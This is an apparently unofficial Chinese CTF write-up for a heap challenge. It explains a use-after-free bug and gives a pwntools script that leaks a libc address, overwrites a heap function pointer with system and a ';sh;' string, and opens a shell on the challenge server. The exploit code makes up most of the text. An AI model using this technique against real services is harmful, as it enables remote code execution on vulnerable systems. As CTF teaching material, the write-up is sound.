(非官方解,以下内容均互联网收集的信息和个人思路,仅供学习参考)
一个堆题
uaf漏洞
申请默认两个堆块,第一个默认为0x8,
print函数,使用 heap中的自己的调用来完成show
把调用处的改为sysyem即可
from pwn import *
from LibcSearcher import*
p=remote('182.92.237.102',10016)
libc=ELF('../libc/libc6-i386_2.31-0ubuntu9.14_amd64.so')
def create(Size,Content=b'a'):
p.recvuntil(b'choice')
p.sendline(b'1')
p.recvuntil(b'size')
p.sendline(bytes(str(Size),'utf-8'))
p.recvuntil(b'Content')
p.send(Content)
def free(id):
p.recvuntil(b'choice')
p.sendline(b'2')
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
def show(id):
p.recvuntil(b'choice')
p.sendline(b'3')
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
create(0x500)
create(0x20)
free(0)
create(0x500,b'a'*4)
show(0)
libc_add=u32(p.recvuntil(b'\xf7')[-4:])
malloc_hook=libc_add-56-0x18
libcbase=malloc_hook-libc.symbols['__malloc_hook']
system=libcbase+libc.symbols['system']+1
puts=libcbase+libc.symbols['puts']
success('malloc_hook '+hex(malloc_hook))
success('libcbase '+hex(libcbase))
free(1)
free(2)
create(0x8,p32(system)+b';sh;')
show(1)
p.interactive()